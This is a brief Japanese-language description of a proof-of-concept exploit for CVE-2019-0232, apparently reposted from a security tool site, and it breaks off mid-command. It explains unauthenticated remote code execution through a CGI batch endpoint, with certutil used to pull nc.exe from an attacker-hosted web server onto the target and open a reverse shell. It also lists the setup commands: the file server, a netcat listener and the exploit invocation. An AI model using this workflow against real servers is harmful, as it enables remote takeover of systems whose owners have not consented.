CVE-2019-0232

CGI RCE Exploit CGIバッチエンドポイントを介した認証なしRCEのPoC。certutilを使用してターゲットにnc.exeをダウンロードし、リバースシェルをトリガーします。 セットアップ 1. nc.exeを配信する nc.exeと同じディレクトリ内: root@kitploit: python3 -m http.server 80 2. リスナーを起動する: root@kitploit: nc -lvnp 1234 3. エクスプロイトを実行する: root@kitploit: python3 exploit.py \ --url http://:/cgi/.bat...